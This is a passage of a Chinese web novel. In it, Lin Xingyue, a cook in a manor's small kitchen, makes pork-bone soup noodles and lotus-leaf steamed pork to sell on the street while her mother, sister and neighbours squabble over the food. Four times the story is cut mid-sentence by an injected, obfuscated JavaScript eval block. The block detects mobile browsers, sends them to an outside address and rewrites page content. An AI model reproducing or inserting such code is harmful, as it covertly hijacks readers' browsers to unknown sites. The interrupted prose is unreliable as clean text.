徐柏和宋石头两个人可是从小玩到大的,两个人没少一块儿淘气,不过如今都进了府有了差事,便都稳当了一些。 宋石头和徐柏说了几句,就侧了身子去看和林杏月说话的玉姐儿,见她手里又拿了一个点心,走过去一边给她擦嘴,一边逗她。 “在家里你都吃了一块儿了,回头肚子里没地方,怎么吃你月姐姐做的饭。” 玉姐儿正吃的开心,一听这个,嘴巴张开的大大的,看了看灶间的吃食,又看了看手里的点心,纠结的不行。 看她这苦恼的模样,三个人都被逗笑了。 冯大娘拿着东西回来的时候,见院子里这样热闹,奇怪的问他们,“怎么今儿个都回来了,好长时间没见你们聚一块儿了。” “还不是馋姐做的饭。”徐柏是个有眼力见的,上前帮着给冯大娘提东西,闻到篮子里一阵阵的香,才发现里面放着不少的荷花荷叶。 冯大娘摘这些的时候也不确定能不能吃,可这个时候,园子里那些果子都还没有熟透,能吃是能吃,就是有些酸头,她犹豫摘什么的时候,就看到了这些荷叶。 林杏月看见了,就说都能吃,“不拘是荷花还是荷叶,回头我给你们做了来,给你们送些尝一尝。” 又对冯大娘说,“娘回头你再多摘些回来,去园子里别总是躲懒。” 冯大娘梗着脖子,“我才没有躲懒,不然这些荷叶从哪里得来的,你忒小瞧人了些。” 林杏月敲打之后又给了冯大娘一颗甜枣,“说的也是,娘今儿个做的就不错,一会儿洗洗就来吃猪骨汤饼。” 冯大娘立时就笑了,那猪骨汤饼已经传来了香味,冯大娘馋的口水都快出来,伸着脖子往里面看了几眼,催着林杏月赶紧盛出来。 她还不忘了邀功:“你们不知道,摘这些荷花的时候,险些没掉到那湖里,吓的我可是出了一身的汗。” 说着就舀了水去洗漱。 林杏月见香味已经出来,连忙就把汤饼盛了出来,宋石头和徐柏两个帮着端到院子里。 给徐柏的那一碗的是专门用食盒放的,他也不客气,提了就走,“回去还得当差,大娘、姐姐回见。” 宋石头把他送到门口,两个人说了两句,徐柏就脚步匆匆的往府里去了。 不知道是不是闻到味道了,徐勇很快就过来,憨憨的和他们笑了几声,看见林杏月更是笑的灿烂。 宋石头逗他,“勇子哥,你回回休息的时候就过来,是不是就想来月姐儿家里吃东西?” 徐勇不会说谎,被戳穿了也不恼怒,点点头就说,“就是这样,回回我都盼着休息的时候,月姐儿的手艺真是越来越好了。” 这样实诚,根本就让人生气不起来,再说都是一块儿看着长大的,用的东西基本上小厨房里就有,无非是费些柴火。 关键是徐勇这人眼里有活,柴火都是他帮着买的,连火草也是。 冯大娘再奸滑也没给过徐勇难看,还让他多吃点,见另一边宋石头还在喂玉姐儿,很是会照顾人,随口就说,“你们真是都长大了,一个个都有了本事,不像我家的兰姐儿,成天的就知道给我添堵。” 偏偏说完这个话,林金兰正好这从外面回来,是听得一清二楚,咣当一声就把手里的篮子给扔到了地上。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15230506|165921||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 冯大娘被吓了一大跳,看到林金兰黑着脸站在门口,柳眉倒竖,一副气呼呼的样子,篮子里的东西都掉了出来,就要站起来训斥。 宋石头一看不对,放下勺子就去拉冯大娘,“正要问问大娘,什么时候有空儿了,给我家玉姐儿挑块布料,大娘眼光最是好,玉姐儿穿着好看。” 冯大娘刚站起来的身子就顺势坐下了,林金兰也没有捡地上的东西,嘴唇紧紧的抿着,直接回了屋子。 徐勇从刚才就当起了鹌鹑,他最害怕林金兰了,哪怕自个儿岁数还要大一些,可从小就怕她掐着腰骂人,见她回了屋,这才松了一口气,继续吃起来。 林杏月叹气,这母女两个就是冤家,原先还好,最近因为那进府里的事情闹的,见了面就掐。 玉姐儿眼珠子一直滴溜滴溜的转,看看这个又看看那个,嘴上还没有停,一直让宋石头给她喂饭。 林杏月很是喜欢她,瞧见她这个小模样就去摸了摸她脑袋,“看出来什么啊咱们玉姐儿?” 玉姐儿只露了个小酒窝出来,倒是什么都不说。 他们这边吃着,隔壁住着的黄婆子一直在家里闻来闻去,还问旁边吃饭的儿媳妇,“你可是闻到什么东西这样香了?” 她儿媳见黄婆子这个馋人的样子就觉得丢人,扭过去脸不吭声。 黄婆子也不恼,实在不知道是谁家里做了好吃的,味道能飘出来这样远,只能就着这个味道,把碗里的猪骨汤饼吃了个干净。 徐柏提着食盒回了府里之后,也没有着急上差,先把食盒打开,看到里面乳白色的汤饼就立刻端起来吃了一口。 同屋的平安以为他得了什么好吃食,凑过来一看原来是小厨房做的猪骨汤,直接嘲笑起来,“我瞧你那样子,以为是得了什么好东西,原来就是这个,也值得你这样。” 徐柏懒得和他说话,只埋头大吃起来,平安等了一会儿,也不见他回话,倒是从猪骨汤里面捞出来的东西不少,什么香蕈豆腐的,看着就勾人食欲。 平安咽了咽口水,推了推徐柏,“你且让我尝尝,这到底是谁做的,怎么你吃的和别人吃的不一样?” 徐柏这才抬了头,不情愿的舀出来一点,“就这一口,吃完可就没了。” “一口就一口。” 这平安本来只是想尝尝味道,他中午当差吃的可是大老爷赏下来的东西,说起来一个汤饼有什么好吃的,有主子赏的那些饭菜好? 可这么一口下去,平安的眼睛立时瞪大了,徐柏看着他这张吃惊的脸,不由在旁边笑了起来。 “怎生这样好吃?” “那是当然。”徐柏得意,喝了一大口汤进肚子,满足的眯起来眼睛。 “这是谁做的?你再给我尝一尝,回头要是再有,你多给我拿一些。” “我姐姐做的,你要想吃也行,可不能吃白食,少不了拿了银子来孝敬我姐姐。” 平安也在后街巷住着,知道徐柏家里就一个哥哥,这姐姐说的应该是隔壁同他们玩的不错的人家。 他想了想才一拍脑袋,“不会是那个悍姐儿吧?” 5. 第五章 徐柏眯着眼睛看过去,“你说的是谁?” “就是那个啊,打人特别厉害的小娘子。” 平安还记得之前林金兰打人的场景,那是虎的很,手又快又利,嘴巴还在旁边巴巴说个不停。 徐柏明白过来了,摇摇头说,“不是她,是她妹妹,在小厨房当差。” 也不管平安知不知道,徐柏赶紧把剩下的都塞到嘴里,在平安幽怨的目光中满足的叹了一口气。 林金兰不知道背后有人嘀咕她,她堵着一口气进了屋子,想着冯大娘不愿意给她钱就算了,她自己把自己收拾利索了,指不定也能被哪个院子看上,这才出门去摘花。 偏回来的时候遇到了一块儿当差的朱雨,两个人说不到一块儿去,朱雨就故意说她已经给了梁妈妈孝敬,说不得就能进哪个主子的院子里。 平日里林金兰就是个掐尖要强的,没有比过朱雨本来就让她生气,回来还听到冯大娘背后说她,这才把篮子扔了。 只不过早上吃的那点子笋子炒饭已经消化的干净,林金兰一上午又是洗衣裳又是挑水,还出门一趟,肚子早就饿的不行。 她虽然躺在床上,可一直留心着院子,巴不得冯大娘赶紧走。 冯大娘好像故意和林金兰作对似的,和林杏月在院子里说起了闲话,问她那些荷花荷叶怎么吃。 “我想着用荷叶做些吃食出来,去街上卖卖试试。” 冯大娘一听就呆住了,左右看了看,才压低了声音说,“你胆子怎么这么大,咱们是府里的人,如何能去外头卖东西。” “府里去外头置办产业的可不少,前头董顺家的,别说田产铺子了,就是小丫鬟也买了几个回来伺候,怎地人家就能行,咱们不过是卖些吃食就不能了?” 别看冯大娘和林金兰总是吵架,可让冯大娘说,她心里真正害怕的可是林杏月,哪怕林杏月平日里不声不响。 冯大娘听了之后也有些动心,犹豫着说,“那咱们也试试,别让人知道了去,省得回头笑话咱们。” 她是个寡妇,总怕别人小瞧了她们,林杏月见冯大娘同意了,也没有再说其他。 离下半晌去小厨房时间还早,林杏月就打算早些把东西做出来,明儿个就能去外头试着卖一卖。 冯大娘帮着一块儿收拾了碗筷,就要去园子里干活,林杏月拉着她叮嘱了许多,“别总是在那里说闲话,有空儿就去园子里转一转,捡了那些不好或者不要的东西回来,不拘是什么都有用处,左右咱们不要也是要扔的,别怕别人说嘴。” 冯大娘几乎是逃也似的的走的。 林金兰见冯大娘走了,麻利的从炕上下来,趿拉着鞋就出来,先左右张望了几眼,确定冯大娘走了才凑到林杏月身边。 “好妹妹,可是还给我留着饭?之前就说好了的,我把衣裳洗了,你给我做好吃的,可别诓我。” “灶间给你留着呢。”林杏月用下巴指了指,林金兰快步走过去,看到锅里的猪骨汤饼,就嘿嘿乐了起来。 她舀了一大碗回来,一边吃一边问林杏月,“方才我听到你和娘说的了,可是真的要去街上卖吃食?” 林杏月点点头说,“我在厨房那边多少自由些,得空就能出去,街上卖东西的可不少,我瞧着能行。” 林金兰凑得更近了些,问林杏月,“月姐儿,这样下来,你是不是能挣上不少钱?” 林杏月眼睛半眯着,把林金兰看的有些讪讪的,嘟囔了一句,“你怎生这样看我?” “别以为我不知道你在打什么主意,别说我如今一个子儿也没有挣到,就是挣了,也别想着从我手里拿钱,去做你那当小娘的梦。” “不拿就不拿,瞧把你厉害的。” 林金兰到底不敢怎么样,哼了一声也不再多说,把汤饼扒拉干净之后就去翻找她提回来的那篮子。 里面的花儿倒是没有扔,就是林金兰扔在地上的时候沾了土,戴是不能戴了,心疼的她脸都直抽抽。 林杏月看到了,就问她要不要来帮自个儿的忙,“到时候真赚了钱,给你买个绒花戴。” 林金兰眼睛一亮,“你可别唬我,说好了到时候给我买花儿戴,要是说话不算数,我可不饶你。” “什么时候唬过你,快来干活。” 林杏月让林金兰帮着把荷叶给泡起来,去掉上面的尘土之后,再下锅里焯水,把鲜荷叶本身的苦涩味道去掉。 干荷叶就不用这么麻烦,只需要温水泡软就行,想着再过一段时间这些荷叶怕是都要残了,得趁着这些时候,让冯大娘多摘些回来,她也好晒干了。 园子里的花儿、叶儿都得时常打理,像荷叶稍微有点黄边就得摘下来扔了,落在主子眼里的都得是好的。 冯大娘只要勤快些,带回来的东西不会少了。 林金兰一边干活一边斜了眼看林杏月,就见她从房梁上摘了篮子下来,里面放着一块儿昨天才买回来的五花肉。 时下人都以羊肉为尊,各种羊肉的吃法应有尽有,猪肉才兴起了没两年,大多数人都还觉得猪肉是上不得台面的吃食——有人还称呼为贱肉,做出来的味道也不好。 林金兰从前也是这样觉得的,上次林杏月从冯大娘那里拿了钱说要改善伙食,买回来的就是猪肉。 当时她还好好的说了林杏月一顿,叫她以后多留些心,不要被人给骗了。 结果林杏月做了一碗酒焖肉出来,别说那肉了,就是汤汁也被林金兰吃的干干净净,从此再不说猪肉不好吃的话。 如今见林杏月又拿了猪肉出来,就问她是不是要做酒焖肉。 “我觉得到时候买的人不会少了,那可是好吃的很。” “这次先不做酒焖肉。”林杏月把五花肉拿出来之后就开始切片,再放入姜末、酱清和糖进行腌制,“做个荷叶粉蒸肉出来,又合时令又好吃。” 她先把粟米拿出来之后放在锅里,小火炒至微黄,再往里面放入八角花椒,来回波拉几下。 林金兰已经洗好了荷叶,在一旁看林杏月做这些的时候都愣住了,不知道粟米要炒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15230507|165921||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了做什么。 林杏月却让林金兰拿了捣蒜的杵子过来,让她把炒好的粟米磨成粉。 林金兰再三问了几遍,语气都有些发颤,“天杀的,这要捣到什么时候,只给我买一个花儿,我可不干。” “那你回头也别吃了。”林杏月不惯着林金兰,“左右也没多少,我一会儿去小厨房找了磨盘过来一样磨。” 林金兰犹豫了一下,看看那荷叶,又看看那五花肉,最后还是动了手。 “先说好了,一会儿可得让我多吃一些。” “行,做好了就让你吃。” 冯大娘吃完晌午饭去园子的时候,其他几个婆子都已经到了,看到她过来,就拉着她到茶水房,问她早上去做什么,“怎么也瞧不见人。” “就在园子里转了转。”冯大娘随口解释了一句,以前她就顺势坐下,能说上好半天的话。 今儿个听了林杏月唠叨的那些,坐在这里怎么也不得劲,好像屁股下面有什么东西在扎她一样。 冯大娘干脆也不坐着了,起身边往外走,边和几个婆子说,“我去园子里看看,你们在这里说话。” “真是奇了怪了。”几个婆子互相看了看,“从前最属她愿意偷懒,今儿个是太阳打西边出来了。” “可不就是,真是稀罕。”她们往外伸着脖子看了看,见冯大娘往湖边走去,更觉得奇怪。 冯大娘等身后盯着她的视线消失了,才呼了一口气出来,放慢了脚步,心里不知道怎么的窝了火,觉得就不该听林杏月的。 左右已经来了湖边,先摘了再说,毕竟来都来了。 下次她再也不这样,还是坐在茶水间和人说说话,唠唠嗑过的自在,没得躲着人来这里偷偷摸摸的摘花儿摘叶子。 家里的灶间已经一片热气腾腾,差不多半个时辰之后,肉腌制好了,米粉也被林金兰捣碎,她在一旁呲牙咧嘴的甩着胳膊,说比她扫一天的地还要受罪。 “等会儿让你多吃几口。”林杏月顺毛安慰了林金兰,把米粉裹在腌制好的肉片上,再放到泡软的荷叶上,就可以开始蒸。 水刚才就已经煮好,差不多蒸上一个时辰的功夫,里面的五花肉就软烂,且肥而不腻,瘦而不柴。 加上米粉吸足了肉的香味和荷叶的清香,让人吃了第一口就会想着第二口。 林金兰等着荷叶上锅之后,也不抱怨胳膊累得慌,乖乖的坐在了灶台前帮着烧火,眼巴巴等着粉蒸肉做好。 “那我就去小厨房看看。”林杏月告诉林金兰怎么烧火,“别趁着我不在的时候偷吃。” 林金兰不耐烦的挥了挥手,“你且去就是,什么时候变得这样啰嗦,我可是你姐姐。” 林杏月没和林金兰继续贫嘴,看着时辰差不多了,小厨房的人也应该都到了。 谁知过去了,晌午吃的那片狼藉都还没有人收拾,赵嬷嬷就站在门口,吊梢眼冷冷的盯着门口,嘴角下撇,板着脸很是唬人。 林杏月打眼扫了一圈,才发现松姐儿还没有来。 6. 第六章 烧火的丫鬟小云把林杏月拉到旁边,神色有些慌张和害怕,恨不得把自己缩成一团,谁也发现不了。 林杏月不去掺和这些事情,拉着小云找了个地方坐过去,看时辰已经到了平日里做晚食的时候,才又往赵嬷嬷那边看了几眼。 赵嬷嬷很是有耐心,好在没多大会儿,松姐儿终于出现了,不过不知道是谁给松姐儿送了信,她不是一个人来的,还把她那在正院当二等丫鬟的姐姐带了来。 要是换成别人了,兴许看在松姐儿这个姐姐的面子上,也就不计较了,偏赵嬷嬷这个人最是忌讳别人以势压人,她性子硬的很,怕是不好收场。 和赵嬷嬷一块的几个婆子也想到了这点,她们也怕事情真的闹大,被上面知道了,她们都吃不了兜着走,各自对了个眼神,也不看热闹,三五岔开的去各自劝起来。 松姐儿的这个姐姐叫平春,虽然是个二等丫鬟,可跟着的主子是周大娘子,除了老太太房里的,其他人见了她都得叫声姐姐。 平春就从来没有来过他们小厨房,要不是因为松姐儿害怕被赵嬷嬷责罚,求了她过来,她如何也不肯踏足这里。 “我当是个什么事儿。”平春脸上带着笑意,不过眼睛却没带什么感情。 她进来先找了凳子坐下,朝赵嬷嬷说,“这么大的阵仗,我这个妹妹如何能当的起?原是我托了她去买些东西,这才早走了一会儿。” 赵嬷嬷依旧板着脸,“想来正院丫鬟如今是不够用的很,回回都来我们小厨房找人用,说来还是咱们这里庙小,供不起这大佛。” 平春脸上笑意淡了淡,她知道赵嬷嬷不好对付,偏头看了看其他婆子,“你们也劝一劝赵嬷嬷,一点小事何至于这样生气,都是府里的老人了,没得伤了和气。” “就是就是,平春姑娘说的有道理,我看时间也不早了,咱们赶紧准备晚食。” 董婆子等平春话音落了,就赶紧搭了话,还用眼睛朝赵嬷嬷挤了挤,让她适可而止。 赵嬷嬷哼了一声,想了想就没有继续说下去,只让松姐儿赶紧把残余剩羹收拾了,这事儿就算是过去了。 松姐儿得意的进来,叫了小云过去帮着收拾,林杏月在灶间切菜,都还能听到她得意的说笑声,旁边的赵嬷嬷倒是一言不发,但看不出来怎么生气。 平春今儿个原本还在当值,被松姐儿那样连哭带闹的叫出去,只觉得没脸,心里说不出的郁闷。 走了没两步,刚才帮自儿个说话的董婆子就匆忙过来,塞给了平春一个篮子。 “平春姑娘,让你来咱们这里多余跑一趟,这里面是咱们小厨房做的吃食,你回头当了零嘴儿。” 董婆子走的着急,篮子里装的不仅有她做的笑靥儿,也有林杏月做出来的,囫囵装了进去。 回去路上,平春就掀开篮子看了看。她以前可看不上这小厨房做出来的笑靥儿,觉得她们手艺粗糙,上不得台面。 不过有了这盘子笑靥儿,也算是有了个由头,且这笑靥儿看着不错,不像以前那样,看着就叫人没有食欲。 平春回头就把这盘子笑靥儿给分了,没说从小厨房那边拿的,只说是别人给的,让大家尝尝滋味。 “看到这个,才发现又要过七夕了。”绿夏是和平春一个屋子的另一个二等丫鬟,她擅长打算盘,使得一手无影筹的好本事。 偏她人长得风流俊俏,水蛇腰柳黛眉,周大娘子就不大喜欢她,平日里就不让她出屋子,只让她待在里面算账。 平春敷衍的点了点头,绿夏拿了一个笑靥儿放到嘴里,尝了一口眼睛就亮了,“这笑靥儿从哪里得来的?味道倒是好得很,比大厨房做出来的好吃。” 平春不信,拿起一个尝了尝,发现味道和之前没什么区别,只当绿夏是好意。 绿夏三两口就吃完,又拿了一个笑靥儿,说起来七夕要怎么过,“去年去街上买巧果的时候,还送了我一对果实将军,今年得早些去,挑一个披盔戴甲的,回头我还给在街上吃上一碗馄饨和豆腐髓……” 绿夏说着说着,就盼起来七夕的时候。 她咬了一口刚拿的笑靥儿,吃了两下就觉得味道不对。 “怎生里头还有两个样儿。” 平春凑过去,果然发现篮子里的笑靥儿有两个样子,其中一个做的样式好看,吃起来味道也是好得很。 平春没想着是小厨房的人做出来的,那地方做出来的吃食都不好,她们宁肯吃剩饭也不爱去那里吃。 两个人一块儿动手,把那好吃的笑靥儿都挑了出来,剩下的撂在一旁,等着给下面的小丫鬟吃。 平春分完,想到七夕的时候,府里要来客人,西府的人也要过来,就忍不住叹息一声,“你不去前头还好,到时候也不用受气。” 绿夏不用去前面,是周大娘子不让的,就怕被大老爷看到,再收了房做小娘。 以前平春还觉得绿夏可怜,如今倒是羡慕起来。 绿夏自己是不愿意出去,恨不得到了年纪早些出府,没得像这样被当成贼一样防着。 只是她那一手算盘打得好,周大娘子这里也离不了她。 之前周大娘子还说等身边大丫鬟走了,就把她提成一等,算是给个棒槌再给个枣儿糊弄着,只还让她在屋子里算账,不能出来。 绿夏筹谋着,等当上几年大丫鬟,到时候手里头也有了钱,再出了府找个人家嫁了,左右不去给人当小娘,没得让人看轻了去。 她吃着手里的笑靥儿,在心里盼着这一天的到来。 林杏月还没有回来,家里只有林金兰,说是不会偷吃,可那粉蒸肉就在她眼前,林金兰怎么忍得住。 好不容易照着林杏月说的法子,把筷子插进去之后感觉到软烂,林金兰就抽出来柴火,不怕烫的把粉蒸肉端了出来,迫不及的的掀开那荷叶。 一股子肉香和荷叶的清香就扑鼻而来,林金兰使劲闻了闻,来不及拿筷子直接下手吃了一口。 这一口下去,她就再也没有停下来。 林金 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15230508|165921||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 兰到底是害怕林杏月回来说她的,说好只吃半个,也是她辛苦半天的酬劳。 可等冯大娘回来的时候,总共五个粉蒸肉,林金兰吃了一个半,肚子都滚圆起来,摊在灶间的椅子上懒得动弹。 她还没有想好,该怎么和林杏月解释粉蒸肉少了这么多,想着要不然就先去张婶娘家里躲一躲,林杏月总不能在张婶娘家还打她。 等听到门吱呀打开的动静,林金兰吓得就是一个哆嗦,把粉蒸肉往身后藏了藏。 瞧见是冯大娘回来,林金兰人一下子就泄了气,她还记得和冯大娘吵架的事情,别过脸去不说话。 冯大娘一眼就看出来林金兰心虚的样子,哼了一声,“你做什么了?我可告诉你,一会儿月姐儿就回来了。” 边说她边在灶间转了一圈,一眼就看到那粉蒸肉。 再看林金兰的肚子,冯大娘还有什么不明白的。 “你个馋货,就这还要去当小娘,谁家小娘的饭量这么大,比你勇子哥的饭量都不差什么。” 林金兰顶嘴,“我可比不上勇子哥的饭量,要是让他来吃,他一个人能吃三个。” 冯大娘把篮子放下,里头的荷叶就没几个,她白天越想越气,一直在躲懒。 可她如今再看那荷叶粉蒸肉,也觉得稀罕,她还从来没有看到过荷叶可以做吃食,上手解开荷叶就看到里面黄澄澄的米粉肉块,色泽浓郁。 她的馋虫也被勾了出来,拿了筷子夹起一块,米粉和五花肉的味道已经相互交融,再配上荷叶淡淡的清香,冯大娘也一口接着一口的吃起来。 “太好吃了。” 一旁的林金兰看着狼吞虎咽的冯大娘,也不顾还在和她冷战,过去就拉着她不让再吃。 “月姐儿说了是要上街卖的,这都吃了可如何是好。” 冯大娘白了林金兰一眼,“你吃了那么多怎么不说,总得让我吃饱才行。” “那一会儿月姐儿回来了着急,你可得在前面顶着。” “顶着就顶着。” 话是这么说,冯大娘吃了一个半之后,肚子饱了,人也清醒了,想着发火的林杏月,心里一时发虚起来。 她今儿个下半晌去当差的时候,荷叶也没有怎么好好的摘。 原不知道荷叶能做了这么好吃的东西,早知道这样的好吃,她就多摘一些回来,也省得林杏月知道了生气。 “要不咱们试着做一些?”冯大娘不确定的问林金兰。 两个人互相看了看对方,林金兰想起来冯大娘做的那些难吃的饭食,冯大娘则想到林金兰那糟糕的刀工。 两个人同时都闭了嘴。 隔壁的黄婆子也下了差,她刚躺在床上打算歇一会儿,就闻到了一股浓郁的香,比之前闻到的味道还要勾人。 黄婆子使劲闻了闻,肚子就咕噜噜的叫起来,偏她连那味道是从哪里来的都不知道。 她低低的骂了句,用被褥盖住了脑袋。 闻不到,就不馋的那样难受了。 7. 第七章 林杏月下差的时候,天光已经微微有些泛黑了,府里的朱墙在这时候都显得有些孤寂。 她的脚步不由快了几分,和喋喋不休的小云挥了手告别。 家里没有点灯,林杏月开门的时候还觉得有些稀罕,叫了林金兰和冯大娘的名字也没人应。 正觉得奇怪,就见身后徐勇提着个什么往回跑。 徐勇跑的气喘吁吁,看到是林杏月在开门,他吓得打了个哆嗦,说话也结巴起来。 “月姐儿,你,你回来了,这么早啊。” 林杏月指了指天上的月亮,“都爬到树梢上了,勇子哥你这是去做什么了,可见我娘和姐姐了?” “没。”徐勇下意识的否认,憋了一会儿又说,“见了,不过她们还有我们都怕你生气。” 林杏月没明白什么意思,徐勇一咬牙就带着林杏月回了自己家里。 冯大娘和林金兰都在这里,她们以为是徐勇回来了,忙出门来接,等瞧见身后站着的林杏月的时候,一个个的都傻了眼。 “说吧,到底是怎么了?”林杏月见几个人一脸的心虚,先让林金兰开口,“我那粉蒸肉呢?” “吃完了。”林金兰声音都发虚,生怕林杏月上来打她,把冯大娘往前推了推,“娘也吃了,她吃了一块半呢。” 冯大娘嘿了一声,扭头去瞪着林金兰,“你这个妮子,好像说的你不是吃了一块半。” 旁边的徐勇很委屈,“看来就数我们吃的少,我和娘两个人一共才吃了一块儿。” 剩下的一块儿他们没有动,等着回来让林杏月吃呢。 林杏月抚了抚额头,指了徐勇手里提着的肉,“这是要做什么?” “我们这不是知道吃的多了,回头说再买些肉,咱们自己做着试一试。” 张婶娘也有些不好意思,让林杏月坐下,“你累了一天了,只管告诉我们怎么做,你别动手了。” “对对,让我们来做就行。” 林杏月没和他们客气,她在小厨房吃了一些,剩下的那一个粉蒸肉就尝了尝味道,让张婶娘把剩下的都吃了。 “我的乖乖。”张婶娘听了就心肝肉的叫着,“婶子已经吃了半个,你快吃了,不用给我们留。” 徐勇在旁边咽了咽口水,忙转过身去,“我去把石头也叫过来,既然要做这个买卖,就多磨些米粉出来。” 林金兰早就添油加醋说了自己磨米粉的时候如何不容易,见徐勇把这个活计给揽了过去,高兴的蹦起来,“这样就省事多了,下次就可以直接做。” 宋石头还没有睡,被叫过来了就直接开始干活,也不问是做什么,两个力气大的半大小子没多久就把粉给磨细了。 张婶娘问宋石头,“玉姐儿可是睡下了?” 宋石头点点头,“睡下了,我就没叫她起来。” “你爹还没有回来?” “没有。”宋石头听到这个问题,神情就暗了暗,一副不想多说的样子。 张婶娘就识趣的没有再问。 冯大娘一直偷偷的看着林杏月的脸色,见她没怎么生气的样子,就把煮好的荷叶让她看,邀功似的说,“今儿个下半晌我可没有偷懒,一直在找这些边角有些泛黄的荷叶呢。” 林杏月看了过来,见笼统没有几个荷叶,一想就知道她肯定是躲了懒的,直接哼了一声。 “那么大的池子,发黄的荷叶竟然这样少,娘你们平日里可真是勤快。” 冯大娘讪讪的没有吭声,在心里想着等明天的时候,定要多摘一些回来。 “莲蓬其实也有不少,不过莲蓬咱们可不敢拿回来,大厨房的人都盯着呢,说是要给主子吃,你们说那么多的莲子,怎么可能吃的过来。” “说的也是,还有那莲藕,以往没人看得上这些东西,白白让大厨房的人都得了去,今年再起莲藕的时候,如何也得要一些。” 人一多,干起活来就快上不少,香味已经开始顺着烟囱往外飘。 黄婆子本来就已经闻着味道,遭了一次罪,好不容易吃了点小厨房做出来的炊饼,肚子不饿了,怎生大半夜地又飘来香味?“ 她人蹬蹬的穿上鞋,披了衣裳就要去看个究竟。 今儿个,她非得知道是是谁天天在家里开小灶,没得这样勾着人的。 哪怕都一块儿住了多少年,这样下去,多好的情分也得坏的。 黄婆子披着衣裳刚出了家门,就和打着哈欠的林杏月和冯大娘撞见。 她赶紧拦了一下冯大娘,“你也是出来找那个没天理的?” 冯大娘一听,就以为是有什么闲话要听,赶紧凑过去问,“谁没天理?哪家的汉子又偷小娘了?” “比那个还要让人恨!”黄婆子就把之前被那个味道勾着的事情说了出来,“你们闻到没?是不是真真可恨,这时候做吃食。” 冯大娘听完就放声大笑,指了林杏月说,“你还真问对人了,那是我家做出来的吃食。” 黄婆子是知道林杏月在小厨房的,但压根没往那边想,谁能想着小厨房还有做饭好吃的。 她眼神狐疑的看着冯大娘,“你可别唬我,勾了我好几天,我是非要把人给找出来的。” “唬你做什么,不信拉倒。” 冯大娘也困了,不和黄婆子歪缠,进了家就关了门。 黄婆子在外头站了好一会儿,想透过门缝往里面看,却没看着什么。 当真是那个月姐儿做的? 一阵风吹来,黄婆子在外头也呆不住,急忙回了家。 林金兰回来之后一直围着林杏月打转,她有些不好意思,知道是自己先贪了嘴,扭捏了半天才小声说不用给她买花儿了。 “当真不要了?”林杏月逗林金兰,“你可想好了,真白给我干活了?” “不要了。”林金兰纠结了一下,最后爽利的下了决心,“不过下次再让我干活的话,我肯定得要了那个绒花,还得是蝴蝶样式的。” “下次看你帮什么忙了。” 林杏月打了个哈欠,端了水去洗脸。 冯大娘又说了会儿话才回来,她也不洗漱,脱了鞋就直接要上炕,林金兰在那边嫌弃的不行,非说不洗就不让睡觉。 林杏月听到了,就在外头喊冯大娘,让她赶紧过来洗,冯大娘拗不过她们两个人,嘟嘟囔囔的就过来。 “就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15230509|165921||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你们姊妹两个事儿多。”她点了点林杏月的脑袋,“这事儿上根本不像我,都是跟着你们婶娘学的。” 林杏月不搭理她,心想着亏得张婶娘爱干净,从小带着她们的时候也细心,不然真随了冯大娘的这个性子,家里不知道有多腌臜。 夜深了,赵嬷嬷家里却点着灯,董婆子把她带过来的笑靥儿端了出来,往前推了推。 “今儿个这事,是有些对不住老姐姐了。” 哪怕到了家里,赵嬷嬷的头发依然一丝不乱,却没有再板着脸,只叹息了一声,“咱们之间,说这个反倒生分了。” 说的是松姐儿找了平春过来撑腰,董婆子给平春献殷勤的事情。 “到底落了姐姐的面子,能不能成的,左右我已经尽了心,该想的法子都想了,英娘要是进不去正院,也算是没有这个缘法。” 赵嬷嬷欲言又止,董婆子家的这个英娘是有一手好绣活,就算进不了正院,其他院子那边也是能进去的。 只是她见董婆子信心满满,也就不再提,不过都是为了各自儿孙的前程。 董婆子谢过赵嬷嬷便摸着黑走了,府里最近因着正院要选人的事情,私下里也是乱的很,她回头还得再去找梁妈妈求求情。 赵嬷嬷把董婆子送出去就落了锁,看着摆在桌子上的笑靥儿,捏起来尝了尝。 她和董婆子认识的时间也不短了,打年轻的时候董婆子就会做这笑靥儿,不过其他吃食做的不行,这才一直留在小厨房。 